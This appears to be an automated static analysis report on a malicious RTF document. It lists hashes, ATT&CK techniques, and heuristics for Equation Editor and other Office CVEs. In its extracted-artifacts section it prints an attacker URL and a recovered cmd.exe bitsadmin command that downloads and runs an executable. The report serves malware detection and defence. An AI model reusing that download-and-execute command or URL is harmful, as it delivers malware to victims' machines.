Malicious RTF — malware analysis report

Static analysis result for SHA-256 11865b2d3cecc166…

MALICIOUS

RTF

119.9 KB Created: 2018-09-01 14:04:00 First seen: 2019-01-11
MD5: c3553fe708c346268e2282159ef0be8e SHA-1: 785bf8d58cb7f0b3b619a1cf19cd24bbbce8c315 SHA-256: 11865b2d3cecc1666e2c62aa781200235e14143819ed2c5a37c1f7d750183620
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple critical heuristic firings indicating exploitation of known vulnerabilities, specifically CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX OLE activation). It also contains an embedded OLE object and a suspicious URL, suggesting it is designed to download and execute a secondary payload. The presence of these exploit indicators strongly points towards a malicious document, likely delivered via spearphishing.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • CVE-2026-21514 — Word/OLE security bypass in RTF high CVE likely CVE_2026_21514
    RTF contains a hidden \svb hex package with DrsE2oDoc and downRevStg drawing compatibility parts. This matches an observed CVE-2026-21514 exploitation shape that manipulates Word's internal document structure and trust decisions.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://b.coka.la/czPJTc.jpg In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000bbbf.bin rtf-objdata-decoded RTF \objdata at offset 0xBBBF 15672 bytes
SHA-256: 25e3a5552aea2da80c92b853eea6158fddd0661582cdc10ef63542fc0f5e2ca1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://b.coka.la/czPJTc.jpg Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer yQ /priority foreground https://b.coka.la/czPJTc.jpg %USERPROFILE%\idoko.exe && start %USERPROFILE%\idoko.exe
rtf_svb_00003185.zip rtf-svb-package RTF \svb hex-decoded ZIP at offset 0x3185 1774 bytes
SHA-256: 2e49f4fe0b48c06e33c35e8580ee650a70753e345216509b2ef583221f073319

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